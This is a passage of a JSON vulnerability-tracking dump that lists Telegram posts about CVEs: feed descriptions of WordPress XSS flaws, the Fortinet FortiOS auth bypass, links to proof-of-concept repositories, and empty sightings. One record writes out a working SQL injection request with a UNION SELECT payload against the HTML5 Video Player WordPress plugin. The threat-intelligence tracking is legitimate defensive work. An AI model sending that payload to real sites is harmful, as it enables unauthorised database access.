more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T17:07:50.000000Z"}, {"uuid": "4fa74c67-7a8f-480f-adfd-407bed43326b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5502", "type": "seen", "source": "https://t.me/cvedetector/3980", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5502 - Piotnet Addons For Elementor WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5502 \nPublished : Aug. 23, 2024, 9:15 a.m. | 38\u00a0minutes ago \nDescription : The Piotnet Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Accordion, Dual Heading, and Vertical Timeline widgets in all versions up to, and including, 2.4.30 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T12:06:46.000000Z"}, {"uuid": "7d10ff00-e111-4448-932e-a5ab292bdf26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/cibsecurity/82182", "content": "\ud83e\udd85 Fortinet Zero-Day CVE-2024-55591 Exposed: Super-Admin Access Risk \ud83e\udd85\n\n  Overview     Fortinet, a global leader in cybersecurity solutions, recently released a critical advisory addressing a significant vulnerability CVE202455591 in its FortiOS and FortiProxy products. This flaw, which has a CVSSv3 score of 9.6, is categorized as a critical authentication bypass vulnerability and is currently being exploited in the wild.   Attackers leveraging this vulnerability can potentially gain superadmin privileges by exploiting weaknesses in the Node.js WebSocket module, making this a highstakes issue for organizations relying on Fortinet's products.   This blog provides a detailed overview of the vulnerability, affected versions, Indicators of Compromise IOCs, mitigation strategies, and steps for administrators to protect their systems effectively.   The Vulnerabil...\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"CYBLE\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2025-01-20T20:46:34.000000Z"}, {"uuid": "4498cc36-408e-44a6-8447-86623d432946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5576", "type": "seen", "source": "https://t.me/cvedetector/3604", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5576 - Tutor LMS Elementor Addons Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5576 \nPublished : Aug. 20, 2024, 6:15 a.m. | 29\u00a0minutes ago \nDescription : The Tutor LMS Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'course_carousel_skin' attribute within the plugin's Course Carousel widget in all versions up to, and including, 2.1.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T08:46:04.000000Z"}, {"uuid": "a162e3f3-85b7-4813-9493-96ddadf9c538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5595", "type": "seen", "source": "https://t.me/cvedetector/2328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5595 - Essential Blocks Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5595 \nPublished : Aug. 2, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Essential Blocks  WordPress plugin before 4.7.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T09:00:01.000000Z"}, {"uuid": "c949d8d0-8714-4b18-9bc6-424dcdf499a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5529", "type": "seen", "source": "https://t.me/cvedetector/1383", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5529 - WordPress QuickLaTeX Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-5529 \nPublished : July 22, 2024, 6:15 a.m. | 43\u00a0minutes ago \nDescription : The WP QuickLaTeX WordPress plugin before 3.8.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T09:26:50.000000Z"}, {"uuid": "fb2c26e7-1d0f-49fd-b7bd-69afb6932df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5575", "type": "seen", "source": "https://t.me/cvedetector/792", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5575 - The Ditty WordPress plugin before 3.1.43 does not\", \n  \"Content\": \"CVE ID : CVE-2024-5575 \nPublished : July 13, 2024, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Ditty  WordPress plugin before 3.1.43 does not sanitise and escape some of its blocks' settings, which could allow high privilege users such as authors to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-13T08:49:26.000000Z"}, {"uuid": "a0644f8c-1738-4d13-aa63-dc56dac3aad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5554", "type": "seen", "source": "https://t.me/cvedetector/1146", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5554 - \"Element Pack Elementor Addons WordPress Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-5554 \nPublished : July 18, 2024, 9:15 a.m. | 24\u00a0minutes ago \nDescription : The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid &amp; Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018onclick_event\u2019 parameter in all versions up to, and including, 5.6.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T11:46:59.000000Z"}, {"uuid": "8fcdfc1f-555f-4c2e-83a4-e83ffec3dea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5555", "type": "seen", "source": "https://t.me/cvedetector/1145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5555 - Elementor Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5555 \nPublished : July 18, 2024, 9:15 a.m. | 24\u00a0minutes ago \nDescription : The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid &amp; Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018social-link-title\u2019 parameter in all versions up to, and including, 5.6.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T11:46:58.000000Z"}, {"uuid": "8558d31c-ece2-45af-8a4c-58fff6435a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5500", "type": "seen", "source": "https://t.me/cvedetector/1027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5500 - Google Chrome Sign-In Implementation Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5500 \nPublished : July 16, 2024, 11:15 p.m. | 44\u00a0minutes ago \nDescription : Inappropriate implementation in Sign-In in Google Chrome prior to 1.3.36.351 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T02:19:52.000000Z"}, {"uuid": "971c6a8c-599d-48b5-a820-063985249ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5566", "type": "seen", "source": "https://t.me/cvedetector/1023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5566 - GitHub Enterprise Server Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5566 \nPublished : July 16, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : An improper privilege management vulnerability allowed users to migrate private repositories without having appropriate scopes defined on the related Personal Access Token. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.14 and was fixed in version 3.13.1, 3.12.6, 3.11.12, 3.10.14, and 3.9.17. \nSeverity: 5.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T00:39:28.000000Z"}, {"uuid": "099c629a-8395-4e3d-8359-a836c11eaf59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5582", "type": "seen", "source": "https://t.me/cvedetector/1063", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5582 - WordPress Schema &amp; Structured Data for WP &amp; AMP Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5582 \nPublished : July 17, 2024, 8:15 a.m. | 21\u00a0minutes ago \nDescription : The Schema &amp; Structured Data for WP &amp; AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'url' attribute within the Q&amp;A Block widget in all versions up to, and including, 1.33 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T10:41:44.000000Z"}, {"uuid": "ffc9f3e4-1988-4649-8a66-c0fd983623f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/CyberBulletin/2078", "content": "\u26a1\ufe0fFortinet Confirms Critical Zero-Day \n\nCVE-2024-55591 in FortiOS &amp; FortiProxy (CVSS 9.6) allows attackers to gain super-admin access &amp; hijack firewalls. \n\nAffected versions: FortiOS 7.0.0-7.0.16 &amp; FortiProxy 7.0.0-7.2.12.\n\nUpgrade now to 7.0.17+ or 7.0.20+ to mitigate risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-15T07:08:50.000000Z"}, {"uuid": "44b7ac4b-3e7e-4f32-bfdc-1eeb913c9694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5549", "type": "seen", "source": "https://t.me/cvedetector/221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5549 - Origin Validation Error in GitHub repository stiti\", \n  \"Content\": \"CVE ID : CVE-2024-5549 \nPublished : July 9, 2024, 12:15 a.m. | 20\u00a0minutes ago \nDescription : Origin Validation Error in GitHub repository stitionai/devika prior to -. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T02:37:11.000000Z"}, {"uuid": "69a433e4-2c9e-4880-839b-a655422bf693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5569", "type": "seen", "source": "https://t.me/cvedetector/220", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5569 - A Denial of Service (DoS) vulnerability exists in\", \n  \"Content\": \"CVE ID : CVE-2024-5569 \nPublished : July 9, 2024, 12:15 a.m. | 20\u00a0minutes ago \nDescription : A Denial of Service (DoS) vulnerability exists in the jaraco/zipp library, affecting all versions prior to 3.19.1. The vulnerability is triggered when processing a specially crafted zip file that leads to an infinite loop. This issue also impacts the zipfile module of CPython, as features from the third-party zipp library are later merged into CPython, and the affected code is identical in both projects. The infinite loop can be initiated through the use of functions affecting the `Path` module in both zipp and zipfile, such as `joinpath`, the overloaded division operator, and `iterdir`. Although the infinite loop is not resource exhaustive, it prevents the application from responding. The vulnerability was addressed in version 3.19.1 of jaraco/zipp. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T02:37:10.000000Z"}, {"uuid": "78090b34-9b4d-4551-9f26-9f43645ea07e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/CyberBulletin/2188", "content": "\u26a1CVE-2024-55573 &amp; CVE-2024-53923: Centreon Hit by Critical SQL Injection Flaws.\n\n#CyberBulletin", "creation_timestamp": "2025-01-28T11:36:00.000000Z"}, {"uuid": "bfd267df-df21-4769-a55b-417b2e7c92f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://t.me/CyberBulletin/3125", "content": "Unlike the Ivanti vulnerabilities, exploitation here requires valid user credentials. By submitting specially crafted session attributes during SSL VPN establishment, an authenticated attacker could repeatedly crash the VPN server, disrupting service for legitimate users.\n\nWhile the server automatically recovers after each crash, sustained exploitation could render VPN services effectively unusable for extended periods.\n\n\n---\n\nCVE-2024-55884: Critical Vulnerability in Mullvad VPN Applications\n\nIn an independent white-box security review conducted by X41 D-Sec GmbH, several serious vulnerabilities were discovered in Mullvad VPN across all platforms. The most severe, CVE-2024-55884 (CVSS 9.0), involved an out-of-bounds memory write caused by insufficiently sized alternate signal stacks in exception handlers.\n\nImpact:\n\nUnder carefully engineered conditions, an attacker could remotely trigger signals causing memory corruption, potentially leading to heap overflows and application compromise. The underlying issue stemmed from poor management of Unix signal handling (exception_logging/unix.rs).\n\n\n---\n\nConclusion\n\nThe vulnerabilities revealed over the past six months provide a stark reminder: VPNs, while often marketed as silver bullets for privacy and security, can themselves introduce significant risks. As sophisticated threat actors continue targeting VPN infrastructures, organizations and individuals must remain vigilant \u2014 promptly applying patches, retiring unsupported systems, and reassessing their dependency on VPN technologies as a cornerstone of security strategies.\n\nSecurity through obscurity is no longer sufficient. Zero-trust principles, segmentation, and layered defenses must complement traditional VPN deployments to effectively mitigate modern threats.\n\n#HackersFactory", "creation_timestamp": "2025-04-27T05:42:31.000000Z"}, {"uuid": "136297ab-4b83-411b-ab0f-fc0e4143dc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "Telegram/4Rb0e-or1IXd3fOyZM-EAv7oNuoqvkI0SXXU8l8QT8eHyw", "content": "", "creation_timestamp": "2024-06-27T12:12:54.000000Z"}, {"uuid": "7094242b-a1f7-46c7-b41a-2745af09d5ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/8406", "content": "#exploit\n1. CVE-2024-55963:\nUnauth RCE in Default-Install of Appsmith\nhttps://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith\n\n2. CVE-2025-26909:\nLFI to RCE in WP Ghost Plugin\nhttps://github.com/zerodayx/cve-2025-26909\n\n3. CVE-2025-27840:\nVulnerability in ESP32 Microcontrollers\nhttps://github.com/demining/Bluetooth-Attacks-CVE-2025-27840", "creation_timestamp": "2025-03-31T18:38:27.000000Z"}, {"uuid": "5638f07f-de3b-494c-9752-cf0a469b6dae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/10130", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55408\n\ud83d\udd39 Description: An issue in the AsusSAIO.sys component of ASUS System Analysis IO v1.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests.\n\ud83d\udccf Published: 2025-01-06T00:00:00\n\ud83d\udccf Modified: 2025-01-07T21:55:35.921Z\n\ud83d\udd17 References:\n1. http://asus.com\n2. https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55408/CVE-2024-55408_AsusSAIO.sys_README.md", "creation_timestamp": "2025-01-07T23:58:31.000000Z"}, {"uuid": "06932373-1434-4164-9427-99bb0b8d3286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/10849", "content": "\ud83d\udea8CVE-2024-55591: Fortinet FortiOS Authentication Bypass Proof of Concept\n\nLink: https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591\n\nWebsite post: https://darkwebinformer.com/cve-2024-55591-fortinet-fortios-authentication-bypass-proof-of-concept/", "creation_timestamp": "2025-01-27T21:19:11.000000Z"}, {"uuid": "bd78e63b-42c1-4b35-ae5a-bc7980cc4b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/HelangMerahGroupHMG/2395", "content": "https://github.com/kryptonproject/CVE-2024-5522-PoC\n\nCVE-2024-5522-PoC : HTML5 Video Player &lt; 2.5.27 - Unauthenticated SQLi", "creation_timestamp": "2024-09-11T10:28:50.000000Z"}, {"uuid": "9854ab82-2c33-4af7-beb3-1833ad6c4c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/1204", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET\u00a0 /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit\u00a0 #poc", "creation_timestamp": "2024-07-09T15:29:44.000000Z"}, {"uuid": "ea6fa4a4-1715-4d31-a907-c1f624702742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5585", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/2165", "content": "\u200aCommand Injection Vulnerability Discovered in PHP: CVE-2024-5585\n\nhttps://securityonline.info/command-injection-vulnerability-discovered-in-php-cve-2024-5585/", "creation_timestamp": "2024-06-11T13:54:52.000000Z"}, {"uuid": "45df7c85-dbc8-4f0c-a927-8fbb279fea9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://t.me/CyberBulletin/26840", "content": "\u26a1\ufe0fCVE-2024-55875 (CVSS 9.8): Critical XXE Vulnerability Found in http4k Toolkit.\n\n#CyberBulletin", "creation_timestamp": "2024-12-17T12:41:04.000000Z"}, {"uuid": "c7bde799-8bf2-47c9-ab94-4206a615b9d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55953", "type": "seen", "source": "Telegram/epVQzs2fwKyiT0yyPJWGBQPSZ0FdTR1E4s44HAxhoKCkyPtt", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "b4d16cc8-6a8e-4fa7-be45-049b4a749624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55593", "type": "seen", "source": "Telegram/ONlTGZanOQAegvkYiHxVNrkU2TC6xJJTXAzMtVFg-lv34krE", "content": "", "creation_timestamp": "2025-02-06T02:40:20.000000Z"}, {"uuid": "b90d4eae-b84c-42f0-951e-dcbc50f317bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55633", "type": "seen", "source": "Telegram/3OR8oaw0RTq8HL2OGCDOcs2xJW3zVnOMxlQrohrUtBpbuTHG", "content": "", "creation_timestamp": "2025-02-14T10:04:57.000000Z"}, {"uuid": "7eefa5d3-0083-4a59-8a1f-4dd9c1654fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55952", "type": "seen", "source": "Telegram/dRP6a6Ya1aIndRCDkvnfQabYrA4rAxqYlALU4rFX9zu7zMmb", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "028d3000-9c8d-4778-9d1b-c4c77d60e1ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5516", "type": "seen", "source": "Telegram/TH0nA_C0644qT6KhKRotYMo3dHSsdkecL3o8i3GKoHPa1g-Y", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "13d04951-68d2-4a1a-b82b-4bb867ef5c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "Telegram/BqqLW3TidP5jqPkK7rt4TmvCrcD-af-BZVFj5pHu_207SUIL", "content": "", "creation_timestamp": "2025-02-14T10:06:07.000000Z"}, {"uuid": "af663e7f-b0d8-4748-87c2-94005345a19c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "seen", "source": "Telegram/uX-_BBpv07_YAmsz5mfmRKIlzYCm2sIW6wJv3dUw8wWvf8BA", "content": "", "creation_timestamp": "2025-02-14T10:06:01.000000Z"}, {"uuid": "77ff2481-0aca-4291-ae2b-0a8aa32575b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5515", "type": "seen", "source": "Telegram/XJvh5MoZknC_nUpcNtM8Rdz8jlkzsUI_K25497Ta3SUHQtj8", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "19b1095e-5946-4d7b-a61e-b55cb0c1f285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5518", "type": "seen", "source": "Telegram/FCpCY9W-tL9boIxdhZ0RVWtOS66JFOfkGbpkEiHMo3z0bNuP", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "bf0105a2-7764-4448-b30f-a12db7489025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5517", "type": "seen", "source": "Telegram/ckkrEUwIo7sQw85aFxoVW-ez0_BSdVU7VmAvaDtS_xK_5Z0a", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "d460f4ef-b867-43c5-a7e5-bdfea3e7b25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5519", "type": "seen", "source": "Telegram/H_TAUmBeJHpvDW0jqDIEnAl8Db0G-ySC0oJGUhSj5xvbg9XP", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "5b53bf4a-2d26-46c0-a2b2-9f5325203e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5588", "type": "seen", "source": "Telegram/646mn707z2aukIdMIE8y42TevM_HCExiW9LUaPOyfXFp40gm", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "6a84ee33-cb50-405a-aecb-9535593aca06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55089", "type": "published-proof-of-concept", "source": "Telegram/IeYSD6kFI4aBCgE8HPNANjqRRo3DhhNNnZdpcZeJD1FFvQ9w", "content": "", "creation_timestamp": "2024-12-25T23:32:00.000000Z"}, {"uuid": "53ff511f-021c-4ab7-b7e1-19db7b75de83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "exploited", "source": "Telegram/KkEHZ8Kc4RxBBwVi2o3_RDYldlD_1czYpHbp-0IRhbjw880M", "content": "", "creation_timestamp": "2025-01-01T23:14:33.000000Z"}, {"uuid": "f9eaa25b-063d-4175-ae7b-7dfa2a238fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5528", "type": 